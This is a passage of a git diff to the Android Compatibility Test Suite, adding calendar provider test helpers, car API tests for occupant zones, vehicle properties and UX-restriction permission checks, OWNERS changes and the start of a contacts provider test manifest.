+ mContentResolver.update(asSyncAdapter(uri, account, CTS_TEST_TYPE), values, null, null);
+ cursor = mContentResolver.query(uri, new String[] {Events.UID_2445}, null, null, null);
+ cursor.moveToFirst();
+ assertFalse(cursor.isNull(0));
+ assertEquals("Column uid_2445 has unexpected value.", uid, cursor.getString(0));
+
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+ }
+
+ @MediumTest
+ public void testMutatorSetCorrectly() {
+ String account = "ec_account";
+ String packageName = "android.provider.cts.calendar";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ String mutator;
+ Cursor cursor;
+ ContentValues values = new ContentValues();
+ final long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+ // Verify mutator is set to the package, via:
+ // Create:
+ final long eventId = createAndVerifyEvent(account, seed, calendarId, false, null);
+ final Uri uri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
+ cursor = mContentResolver.query(uri, new String[] {Events.MUTATORS}, null, null, null);
+ cursor.moveToFirst();
+ mutator = cursor.getString(0);
+ cursor.close();
+ assertEquals(packageName, mutator);
+
+ // Edit:
+ // First clear the mutator column
+ values.clear();
+ values.putNull(Events.MUTATORS);
+ mContentResolver.update(asSyncAdapter(uri, account, CTS_TEST_TYPE), values, null, null);
+ cursor = mContentResolver.query(uri, new String[] {Events.MUTATORS}, null, null, null);
+ cursor.moveToFirst();
+ mutator = cursor.getString(0);
+ cursor.close();
+ assertNull(mutator);
+ // Now edit the event and verify the mutator column
+ values.clear();
+ values.put(Events.TITLE, "New title");
+ mContentResolver.update(uri, values, null, null);
+ cursor = mContentResolver.query(uri, new String[] {Events.MUTATORS}, null, null, null);
+ cursor.moveToFirst();
+ mutator = cursor.getString(0);
+ cursor.close();
+ assertEquals(packageName, mutator);
+
+ // Clean up the event
+ assertEquals(1, EventHelper.deleteEventAsSyncAdapter(mContentResolver, uri, account));
+
+ // Delete:
+ // First create as sync adapter
+ final long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, null);
+ final Uri uri2 = ContentUris.withAppendedId(Events.CONTENT_URI, eventId2);
+ // Now delete the event and verify
+ values.clear();
+ values.put(Events.MUTATORS, packageName);
+ removeAndVerifyEvent(uri2, values, account);
+
+
+ // delete the calendar
+ removeAndVerifyCalendar(account, calendarId);
+ }
+
+ /**
+ * Acquires the set of instances that appear between the specified start and end points.
+ *
+ * @param timeZone Time zone to use when parsing startWhen and endWhen
+ * @param startWhen Start date/time, in RFC 3339 format
+ * @param endWhen End date/time, in RFC 3339 format
+ * @param projection Array of desired column names
+ * @return Cursor with instances (caller should close when done)
+ */
+ private Cursor getInstances(String timeZone, String startWhen, String endWhen,
+ String[] projection, long[] calendarIds) {
+ Time startTime = new Time(timeZone);
+ startTime.parse3339(startWhen);
+ long startMillis = startTime.toMillis(false);
+
+ Time endTime = new Time(timeZone);
+ endTime.parse3339(endWhen);
+ long endMillis = endTime.toMillis(false);
+
+ // We want a list of instances that occur between the specified dates. Use the
+ // "instances/when" URI.
+ Uri uri = Uri.withAppendedPath(CalendarContract.Instances.CONTENT_URI,
+ startMillis + "/" + endMillis);
+
+ String where = null;
+ for (int i = 0; i < calendarIds.length; i++) {
+ if (i > 0) {
+ where += " OR ";
+ } else {
+ where = "";
+ }
+ where += (Instances.CALENDAR_ID + "=" + calendarIds[i]);
+ }
+ Cursor instances = mContentResolver.query(uri, projection, where, null,
+ projection[0] + " ASC");
+
+ return instances;
+ }
+
+ /**
+ * Acquires the set of instances that appear between the specified start and end points
+ * that match the search terms.
+ *
+ * @param timeZone Time zone to use when parsing startWhen and endWhen
+ * @param startWhen Start date/time, in RFC 3339 format
+ * @param endWhen End date/time, in RFC 3339 format
+ * @param search A collection of tokens to search for. The columns searched are
+ * hard-coded in the provider (currently title, description, location, attendee
+ * name, attendee email).
+ * @param searchByDay If set, adjust start/end to calendar day boundaries.
+ * @param projection Array of desired column names
+ * @return Cursor with instances (caller should close when done)
+ */
+ private Cursor getInstancesSearch(String timeZone, String startWhen, String endWhen,
+ String search, boolean searchByDay, String[] projection, long[] calendarIds) {
+ Time startTime = new Time(timeZone);
+ startTime.parse3339(startWhen);
+ long startMillis = startTime.toMillis(false);
+
+ Time endTime = new Time(timeZone);
+ endTime.parse3339(endWhen);
+ long endMillis = endTime.toMillis(false);
+
+ Uri uri;
+ if (searchByDay) {
+ // start/end are Julian day numbers rather than time in milliseconds
+ int julianStart = Time.getJulianDay(startMillis, startTime.gmtoff);
+ int julianEnd = Time.getJulianDay(endMillis, endTime.gmtoff);
+ uri = Uri.withAppendedPath(CalendarContract.Instances.CONTENT_SEARCH_BY_DAY_URI,
+ julianStart + "/" + julianEnd + "/" + search);
+ } else {
+ uri = Uri.withAppendedPath(CalendarContract.Instances.CONTENT_SEARCH_URI,
+ startMillis + "/" + endMillis + "/" + search);
+ }
+
+ String where = null;
+ for (int i = 0; i < calendarIds.length; i++) {
+ if (i > 0) {
+ where += " OR ";
+ } else {
+ where = "";
+ }
+ where += (Instances.CALENDAR_ID + "=" + calendarIds[i]);
+ }
+ // We want a list of instances that occur between the specified dates and that match
+ // the search terms.
+
+ Cursor instances = mContentResolver.query(uri, projection, where, null,
+ projection[0] + " ASC");
+
+ return instances;
+ }
+
+ /** debug -- dump instances cursor */
+ private static void dumpInstances(Cursor instances, String timeZone, String msg) {
+ Log.d(TAG, "Instances (" + msg + ")");
+
+ int posn = instances.getPosition();
+ instances.moveToPosition(-1);
+
+ //Log.d(TAG, "+++ instances has " + instances.getCount() + " rows, " +
+ // instances.getColumnCount() + " columns");
+ while (instances.moveToNext()) {
+ long beginMil = instances.getLong(0);
+ Time beginT = new Time(timeZone);
+ beginT.set(beginMil);
+ String logMsg = "--> begin=" + beginT.format3339(false) + " (" + beginMil + ")";
+ for (int i = 2; i < instances.getColumnCount(); i++) {
+ logMsg += " [" + instances.getString(i) + "]";
+ }
+ Log.d(TAG, logMsg);
+ }
+ instances.moveToPosition(posn);
+ }
+
+
+ /**
+ * Counts the number of instances that appear between the specified start and end times.
+ */
+ private int getInstanceCount(String timeZone, String startWhen, String endWhen,
+ long[] calendarIds) {
+ Cursor instances = getInstances(timeZone, startWhen, endWhen,
+ new String[] { Instances._ID }, calendarIds);
+ int count = instances.getCount();
+ instances.close();
+ return count;
+ }
+
+ /**
+ * Deletes an event as app and sync adapter which removes it from the db and
+ * verifies after each.
+ *
+ * @param eventUri The uri for the event to delete
+ * @param accountName TODO
+ */
+ private void removeAndVerifyEvent(Uri eventUri, ContentValues eventValues, String accountName) {
+ // Delete event
+ EventHelper.deleteEvent(mContentResolver, eventUri, eventValues);
+ // Verify
+ verifyEvent(eventValues, ContentUris.parseId(eventUri));
+ // Delete as sync adapter
+ assertEquals(1,
+ EventHelper.deleteEventAsSyncAdapter(mContentResolver, eventUri, accountName));
+ // Verify
+ Cursor c = EventHelper.getEventByUri(mContentResolver, eventUri);
+ assertEquals(0, c.getCount());
+ c.close();
+ }
+
+ /**
+ * Creates an event on the given calendar and verifies it.
+ *
+ * @param account
+ * @param seed
+ * @param calendarId
+ * @param asSyncAdapter
+ * @param values optional pre created set of values; will have several new entries added
+ * @return the _id for the new event
+ */
+ private long createAndVerifyEvent(String account, int seed, long calendarId,
+ boolean asSyncAdapter, ContentValues values) {
+ // Create an event
+ if (values == null) {
+ values = EventHelper.getNewEventValues(account, seed, calendarId, asSyncAdapter);
+ }
+ Uri insertUri = Events.CONTENT_URI;
+ if (asSyncAdapter) {
+ insertUri = asSyncAdapter(insertUri, account, CTS_TEST_TYPE);
+ }
+ Uri uri = mContentResolver.insert(insertUri, values);
+ assertNotNull(uri);
+
+ // Verify
+ EventHelper.addDefaultReadOnlyValues(values, account, asSyncAdapter);
+ long eventId = ContentUris.parseId(uri);
+ assertTrue(eventId >= 0);
+
+ verifyEvent(values, eventId);
+ return eventId;
+ }
+
+ /**
+ * Updates an event, and verifies that the updates took.
+ */
+ private void updateAndVerifyEvent(String account, long calendarId, long eventId,
+ boolean asSyncAdapter, ContentValues updateValues) {
+ Uri uri = Uri.withAppendedPath(Events.CONTENT_URI, String.valueOf(eventId));
+ if (asSyncAdapter) {
+ uri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
+ }
+ int count = mContentResolver.update(uri, updateValues, null, null);
+
+ // Verify
+ assertEquals(1, count);
+ verifyEvent(updateValues, eventId);
+ }
+
+ /**
+ * Creates an exception to a recurring event, and verifies it.
+ * @param account The account to use.
+ * @param originalEventId The ID of the original event.
+ * @param values Values for the exception; must include originalInstanceTime.
+ * @return The _id for the new event.
+ */
+ private long createAndVerifyException(String account, long originalEventId,
+ ContentValues values, boolean asSyncAdapter) {
+ // Create the exception
+ Uri uri = Uri.withAppendedPath(Events.CONTENT_EXCEPTION_URI,
+ String.valueOf(originalEventId));
+ if (asSyncAdapter) {
+ uri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
+ }
+ Uri resultUri = mContentResolver.insert(uri, values);
+ assertNotNull(resultUri);
+ long eventId = ContentUris.parseId(resultUri);
+ assertTrue(eventId >= 0);
+ return eventId;
+ }
+
+ /**
+ * Deletes an exception to a recurring event.
+ * @param account The account to use.
+ * @param eventId The ID of the original recurring event.
+ * @param excepId The ID of the exception event.
+ * @return The number of rows deleted.
+ */
+ private int deleteException(String account, long eventId, long excepId) {
+ Uri uri = Uri.withAppendedPath(Events.CONTENT_EXCEPTION_URI,
+ eventId + "/" + excepId);
+ uri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
+ return mContentResolver.delete(uri, null, null);
+ }
+
+ /**
+ * Add some sample attendees to an event.
+ */
+ private void addAttendees(String account, long eventId, int seed) {
+ assertTrue(eventId >= 0);
+ AttendeeHelper.addAttendee(mContentResolver, eventId,
+ "Attender" + seed,
+ CalendarHelper.generateCalendarOwnerEmail(account),
+ Attendees.ATTENDEE_STATUS_ACCEPTED,
+ Attendees.RELATIONSHIP_ORGANIZER,
+ Attendees.TYPE_NONE);
+ seed++;
+
+ AttendeeHelper.addAttendee(mContentResolver, eventId,
+ "Attender" + seed,
+ "attender" + seed + "@example.com",
+ Attendees.ATTENDEE_STATUS_TENTATIVE,
+ Attendees.RELATIONSHIP_NONE,
+ Attendees.TYPE_NONE);
+ }
+
+ /**
+ * Add some sample reminders to an event.
+ */
+ private void addReminders(String account, long eventId, int seed) {
+ ReminderHelper.addReminder(mContentResolver, eventId, seed * 5, Reminders.METHOD_ALERT);
+ }
+
+ /**
+ * Creates and removes an event that covers a specific range of dates. Call this to
+ * cause the provider to expand the CalendarMetaData min/max values to include the range.
+ * Useful when you want to see the provider expand the instances as the events are added.
+ */
+ private void expandInstanceRange(String account, long calendarId, String testStart,
+ String testEnd, String timeZone) {
+ int seed = 0;
+
+ // TODO: this should use an UNTIL rule based on testEnd, not a COUNT
+ ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed,
+ calendarId, true, testStart, "PT1H", "FREQ=DAILY;WKST=SU;COUNT=100");
+
+ /*
+ * Some of the helper functions modify "eventValues", so we want to make sure we're
+ * passing a copy of anything we want to re-use.
+ */
+ long eventId = createAndVerifyEvent(account, seed, calendarId, true,
+ new ContentValues(eventValues));
+ assertTrue(eventId >= 0);
+
+ String[] projection = { Instances.BEGIN, Instances.START_MINUTE };
+ Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
+ new long[] { calendarId });
+ if (DEBUG_RECURRENCE) {
+ dumpInstances(instances, timeZone, "prep-create");
+ }
+ assertEquals("initial recurrence instance count", 3, instances.getCount());
+ instances.close();
+
+ Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
+ removeAndVerifyEvent(eventUri, new ContentValues(eventValues), account);
+
+ instances = getInstances(timeZone, testStart, testEnd, projection,
+ new long[] { calendarId });
+ if (DEBUG_RECURRENCE) {
+ dumpInstances(instances, timeZone, "prep-clear");
+ }
+ assertEquals("initial recurrence instance count", 0, instances.getCount());
+ instances.close();
+
+ }
+
+ /**
+ * Inserts a new calendar with the given account and seed and verifies it.
+ *
+ * @param account The account to add the calendar to
+ * @param seed A number to use to generate the values
+ * @return the created calendar's id
+ */
+ private long createAndVerifyCalendar(String account, int seed, ContentValues values) {
+ // Create a calendar
+ if (values == null) {
+ values = CalendarHelper.getNewCalendarValues(account, seed);
+ }
+ Uri syncUri = asSyncAdapter(Calendars.CONTENT_URI, account, CTS_TEST_TYPE);
+ Uri uri = mContentResolver.insert(syncUri, values);
+ long calendarId = ContentUris.parseId(uri);
+ assertTrue(calendarId >= 0);
+
+ verifyCalendar(account, values, calendarId, 1);
+ return calendarId;
+ }
+
+ /**
+ * Deletes a given calendar and verifies no calendars remain on that
+ * account.
+ *
+ * @param account
+ * @param id
+ */
+ private void removeAndVerifyCalendar(String account, long id) {
+ // TODO Add code to delete as app and sync adapter and test both
+
+ // Delete
+ assertEquals(1, CalendarHelper.deleteCalendarById(mContentResolver, id));
+
+ // Verify
+ Cursor c = CalendarHelper.getCalendarsByAccount(mContentResolver, account);
+ assertEquals(0, c.getCount());
+ c.close();
+ }
+
+ /**
+ * Check all the fields of a calendar contained in values + id.
+ *
+ * @param account the account of the calendar
+ * @param values the values to check against the db
+ * @param id the _id of the calendar
+ * @param expectedCount the number of calendars expected on this account
+ */
+ private void verifyCalendar(String account, ContentValues values, long id, int expectedCount) {
+ // Verify
+ Cursor c = CalendarHelper.getCalendarsByAccount(mContentResolver, account);
+ assertEquals(expectedCount, c.getCount());
+ assertTrue(c.moveToFirst());
+ while (c.getLong(0) != id) {
+ assertTrue(c.moveToNext());
+ }
+ for (String key : values.keySet()) {
+ int index = c.getColumnIndex(key);
+ assertTrue("Key " + key + " not in projection", index >= 0);
+ assertEquals(key, values.getAsString(key), c.getString(index));
+ }
+ c.close();
+ }
+
+ /**
+ * Creates a new _sync_state entry and verifies the contents.
+ */
+ private long createAndVerifySyncState(String account, ContentValues values) {
+ assertNotNull(values);
+ Uri syncUri = asSyncAdapter(SyncState.CONTENT_URI, account, CTS_TEST_TYPE);
+ Uri uri = mContentResolver.insert(syncUri, values);
+ long syncStateId = ContentUris.parseId(uri);
+ assertTrue(syncStateId >= 0);
+
+ verifySyncState(account, values, syncStateId);
+ return syncStateId;
+
+ }
+
+ /**
+ * Removes the _sync_state entry with the specified id, then verifies that it's gone.
+ */
+ private void removeAndVerifySyncState(String account) {
+ assertEquals(1, SyncStateHelper.deleteSyncStateByAccount(mContentResolver, account, true));
+
+ // Verify
+ Cursor c = SyncStateHelper.getSyncStateByAccount(mContentResolver, account);
+ try {
+ assertEquals(0, c.getCount());
+ } finally {
+ if (c != null) {
+ c.close();
+ }
+ }
+ }
+
+ /**
+ * Check all the fields of a _sync_state entry contained in values + id. This assumes
+ * a single _sync_state has been created on the given account.
+ */
+ private void verifySyncState(String account, ContentValues values, long id) {
+ // Verify
+ Cursor c = SyncStateHelper.getSyncStateByAccount(mContentResolver, account);
+ try {
+ assertEquals(1, c.getCount());
+ assertTrue(c.moveToFirst());
+ assertEquals(id, c.getLong(0));
+ for (String key : values.keySet()) {
+ int index = c.getColumnIndex(key);
+ if (key.equals(SyncState.DATA)) {
+ // TODO: can't compare as string, so compare as byte[]
+ } else {
+ assertEquals(key, values.getAsString(key), c.getString(index));
+ }
+ }
+ } finally {
+ if (c != null) {
+ c.close();
+ }
+ }
+ }
+}
diff --git a/tests/tests/car/OWNERS b/tests/tests/car/OWNERS
index ce0e81b..cdff026 100644
--- a/tests/tests/car/OWNERS
+++ b/tests/tests/car/OWNERS
@@ -1,2 +1,6 @@
# Bug component: 526266
+felipeal@google.com
+gurunagarajan@google.com
+keunyoung@google.com
nicksauer@google.com
+sgurun@google.com
diff --git a/tests/tests/car/TEST_MAPPING b/tests/tests/car/TEST_MAPPING
index ef3ec4a..d4ff46d 100644
--- a/tests/tests/car/TEST_MAPPING
+++ b/tests/tests/car/TEST_MAPPING
@@ -1,8 +1,7 @@
{
- "presubmit": [
+ "auto-presubmit": [
{
- "name": "CtsCarTestCases",
- "keywords": ["auto-cf"]
+ "name": "CtsCarTestCases"
}
]
}
diff --git a/tests/tests/car/src/android/car/cts/CarOccupantZoneManagerTest.java b/tests/tests/car/src/android/car/cts/CarOccupantZoneManagerTest.java
new file mode 100644
index 0000000..b7ef096
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/CarOccupantZoneManagerTest.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.car.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static java.util.stream.Collectors.toList;
+
+import android.car.Car;
+import android.car.CarOccupantZoneManager;
+import android.car.CarOccupantZoneManager.OccupantZoneInfo;
+import android.os.Process;
+import android.os.UserHandle;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.suitebuilder.annotation.SmallTest;
+import android.view.Display;
+
+import java.util.List;
+
+@SmallTest
+@RequiresDevice
+public class CarOccupantZoneManagerTest extends CarApiTestBase {
+
+ private OccupantZoneInfo mDriverZoneInfo;
+
+ private CarOccupantZoneManager mCarOccupantZoneManager;
+
+ public void setUp() throws Exception {
+ super.setUp();
+ mCarOccupantZoneManager =
+ (CarOccupantZoneManager) getCar().getCarManager(Car.CAR_OCCUPANT_ZONE_SERVICE);
+
+ // Retrieve the current driver zone info (disregarding the driver's seat - LHD or RHD).
+ // Ensures there is only one driver zone info.
+ List<OccupantZoneInfo> drivers =
+ mCarOccupantZoneManager.getAllOccupantZones().stream().filter(
+ o -> o.occupantType == CarOccupantZoneManager.OCCUPANT_TYPE_DRIVER).collect(
+ toList());
+ assertWithMessage("One and only one driver zone info is expected per config")
+ .that(drivers).hasSize(1);
+ mDriverZoneInfo = drivers.get(0);
+ }
+
+ public void testDriverUserIdMustBeCurrentUser() {
+ int myUid = Process.myUid();
+ assertWithMessage("Driver user id must correspond to current user id (Process.myUid: %d)",
+ myUid).that(
+ UserHandle.getUserId(myUid)).isEqualTo(
+ mCarOccupantZoneManager.getUserForOccupant(mDriverZoneInfo));
+ }
+
+ public void testExpectAtLeastDriverZoneExists() {
+ assertWithMessage(
+ "Driver zone is expected to exist. Make sure a driver zone is properly defined in"
+ + " config.xml/config_occupant_display_mapping")
+ .that(mCarOccupantZoneManager.getAllOccupantZones())
+ .contains(mDriverZoneInfo);
+ }
+
+ public void testDriverHasMainDisplay() {
+ assertWithMessage("Driver is expected to be associated with main display")
+ .that(mCarOccupantZoneManager.getAllDisplaysForOccupant(mDriverZoneInfo))
+ .contains(getDriverDisplay());
+ }
+
+ public void testDriverDisplayIdIsDefaultDisplay() {
+ assertThat(getDriverDisplay().getDisplayId()).isEqualTo(Display.DEFAULT_DISPLAY);
+ }
+
+ private Display getDriverDisplay() {
+ Display driverDisplay =
+ mCarOccupantZoneManager.getDisplayForOccupant(
+ mDriverZoneInfo, CarOccupantZoneManager.DISPLAY_TYPE_MAIN);
+ assertWithMessage(
+ "No display set for driver. Make sure a default display is set in"
+ + " config.xml/config_occupant_display_mapping")
+ .that(driverDisplay)
+ .isNotNull();
+ return driverDisplay;
+ }
+}
+
diff --git a/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java b/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
index 56e2401..bed372c 100644
--- a/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
@@ -23,6 +23,7 @@
import static org.junit.Assert.assertNotNull;
import android.car.Car;
+import android.car.VehicleAreaSeat;
import android.car.VehicleAreaType;
import android.car.VehiclePropertyIds;
import android.car.hardware.CarPropertyConfig;
@@ -33,6 +34,8 @@
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.CddTest;
+
import static com.google.common.truth.Truth.assertThat;
import static org.junit.Assert.assertTrue;
@@ -108,16 +111,93 @@
mPropertyIds.add(VehiclePropertyIds.PERF_VEHICLE_SPEED);
mPropertyIds.add(VehiclePropertyIds.GEAR_SELECTION);
mPropertyIds.add(VehiclePropertyIds.NIGHT_MODE);
+ mPropertyIds.add(VehiclePropertyIds.PARKING_BRAKE_ON);
}
+ /**
+ * Test for {@link CarPropertyManager#getPropertyList()}
+ */
@Test
public void testGetPropertyList() {
List<CarPropertyConfig> allConfigs = mCarPropertyManager.getPropertyList();
assertNotNull(allConfigs);
+ }
+
+ /**
+ * Test for {@link CarPropertyManager#getPropertyList(ArraySet)}
+ */
+ @Test
+ public void testGetPropertyListWithArraySet() {
List<CarPropertyConfig> requiredConfigs = mCarPropertyManager.getPropertyList(mPropertyIds);
// Vehicles need to implement all of those properties
assertEquals(mPropertyIds.size(), requiredConfigs.size());
+ }
+ /**
+ * Test for {@link CarPropertyManager#getCarPropertyConfig(int)}
+ */
+ @Test
+ public void testGetPropertyConfig() {
+ List<CarPropertyConfig> allConfigs = mCarPropertyManager.getPropertyList();
+ for (CarPropertyConfig cfg : allConfigs) {
+ assertNotNull(mCarPropertyManager.getCarPropertyConfig(cfg.getPropertyId()));
+ }
+ }
+
+ /**
+ * Test for {@link CarPropertyManager#getAreaId(int, int)}
+ */
+ @Test
+ public void testGetAreaId() {
+ // For global properties, getAreaId should always return 0.
+ List<CarPropertyConfig> allConfigs = mCarPropertyManager.getPropertyList();
+ for (CarPropertyConfig cfg : allConfigs) {
+ if (cfg.isGlobalProperty()) {
+ assertEquals(0, mCarPropertyManager.getAreaId(cfg.getPropertyId(),
+ VehicleAreaSeat.SEAT_ROW_1_LEFT));
+ } else {
+ int[] areaIds = cfg.getAreaIds();
+ // Because areaId in propConfig must not be overlapped with each other.
+ // The result should be itself.
+ for (int areaIdInConfig : areaIds) {
+ int areaIdByCarPropertyManager =
+ mCarPropertyManager.getAreaId(cfg.getPropertyId(), areaIdInConfig);
+ assertEquals(areaIdInConfig, areaIdByCarPropertyManager);
+ }
+ }
+ }
+ }
+
+ @CddTest(requirement="2.5.1")
+ @Test
+ public void testMustSupportGearSelection() throws Exception {
+ assertTrue("Must support GEAR_SELECTION",
+ mCarPropertyManager.getPropertyList().stream().anyMatch(cfg -> cfg.getPropertyId() ==
+ VehiclePropertyIds.GEAR_SELECTION));
+ }
+
+ @CddTest(requirement="2.5.1")
+ @Test
+ public void testMustSupportNightMode() {
+ assertTrue("Must support NIGHT_MODE",
+ mCarPropertyManager.getPropertyList().stream().anyMatch(cfg -> cfg.getPropertyId() ==
+ VehiclePropertyIds.NIGHT_MODE));
+ }
+
+ @CddTest(requirement="2.5.1")
+ @Test
+ public void testMustSupportPerfVehicleSpeed() throws Exception {
+ assertTrue("Must support PERF_VEHICLE_SPEED",
+ mCarPropertyManager.getPropertyList().stream().anyMatch(cfg -> cfg.getPropertyId() ==
+ VehiclePropertyIds.PERF_VEHICLE_SPEED));
+ }
+
+ @CddTest(requirement = "2.5.1")
+ @Test
+ public void testMustSupportParkingBrakeOn() throws Exception {
+ assertTrue("Must support PARKING_BRAKE_ON",
+ mCarPropertyManager.getPropertyList().stream().anyMatch(cfg -> cfg.getPropertyId() ==
+ VehiclePropertyIds.PARKING_BRAKE_ON));
}
@SuppressWarnings("unchecked")
@@ -297,5 +377,4 @@
return config.getAreaIds();
}
}
-
}
diff --git a/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java b/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java
index ca7364b..4f80147 100644
--- a/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java
@@ -15,9 +15,13 @@
*/
package android.car.cts;
+
+import static android.car.drivingstate.CarUxRestrictionsManager.UX_RESTRICTION_MODE_BASELINE;
+
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
import android.car.Car;
import android.car.drivingstate.CarUxRestrictions;
@@ -27,6 +31,8 @@
import androidx.test.runner.AndroidJUnit4;
+import com.google.common.collect.ImmutableList;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -87,4 +93,37 @@
mManager.registerListener(restrictions -> {});
mManager.unregisterListener();
}
+
+ @Test
+ public void testSetRestrictionMode_missingPermission_throwsException() {
+ try {
+ mManager.setRestrictionMode(UX_RESTRICTION_MODE_BASELINE);
+ fail("Expected SecurityException. App does not have the change UX Restrictions "
+ + "permission.");
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
+
+ @Test
+ public void testGetRestrictionMode_missingPermission_throwsException() {
+ try {
+ mManager.getRestrictionMode();
+ fail("Expected SecurityException. App does not have the change UX Restrictions "
+ + "permission.");
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
+
+ @Test
+ public void testSaveUxRestrictionsConfigurationForNextBoot_missingPermission_throwsException() {
+ try {
+ mManager.saveUxRestrictionsConfigurationForNextBoot(ImmutableList.of());
+ fail("Expected SecurityException. App does not have the change UX Restrictions "
+ + "permission.");
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
}
diff --git a/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml b/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml
index 4400ab5..a0a38a9 100644
--- a/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml
+++ b/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="misc" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsClassLoaderFactoryInMemoryDexClassLoaderTestCases.apk" />
diff --git a/tests/tests/classloaderfactory/test-memcl/OWNERS b/tests/tests/classloaderfactory/test-memcl/OWNERS
index bda93bc..fa9c94d 100644
--- a/tests/tests/classloaderfactory/test-memcl/OWNERS
+++ b/tests/tests/classloaderfactory/test-memcl/OWNERS
@@ -1,2 +1,2 @@
# Bug component: 86431
-dbrazdil@google.com
\ No newline at end of file
+ngeoffray@google.com
\ No newline at end of file
diff --git a/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml b/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml
index 50c79ef..95797ca 100644
--- a/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml
+++ b/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="misc" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsClassLoaderFactoryPathClassLoaderTestCases.apk" />
diff --git a/tests/tests/classloaderfactory/test-pathcl/OWNERS b/tests/tests/classloaderfactory/test-pathcl/OWNERS
index bda93bc..fa9c94d 100644
--- a/tests/tests/classloaderfactory/test-pathcl/OWNERS
+++ b/tests/tests/classloaderfactory/test-pathcl/OWNERS
@@ -1,2 +1,2 @@
# Bug component: 86431
-dbrazdil@google.com
\ No newline at end of file
+ngeoffray@google.com
\ No newline at end of file
diff --git a/tests/tests/contactsprovider/Android.bp b/tests/tests/contactsprovider/Android.bp
new file mode 100644
index 0000000..ed5cf51
--- /dev/null
+++ b/tests/tests/contactsprovider/Android.bp
@@ -0,0 +1,30 @@
+android_test {
+ name: "CtsContactsProviderTestCases",
+ defaults: ["cts_defaults"],
+
+ compile_multilib: "both",
+
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+
+ libs: [
+ "android.test.mock",
+ "android.test.base.stubs",
+ "android.test.runner.stubs",
+ ],
+
+ static_libs: [
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ "junit",
+ "truth-prebuilt",
+ ],
+
+ srcs: ["src/**/*.java"],
+
+ sdk_version: "test_current",
+ min_sdk_version: "21",
+}
diff --git a/tests/tests/contactsprovider/AndroidManifest.xml b/tests/tests/contactsprovider/AndroidManifest.xml
new file mode 100644
index 0000000..f81bb5e
--- /dev/null
+++ b/tests/tests/contactsprovider/AndroidManifest.xml
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.provider.cts.contacts">
+
+ <uses-sdk android:targetSdkVersion="29" />
+
+ <uses-permission android:name="android.permission.READ_CONTACTS" />
+ <uses-permission android:name="android.permission.WRITE_CONTACTS" />
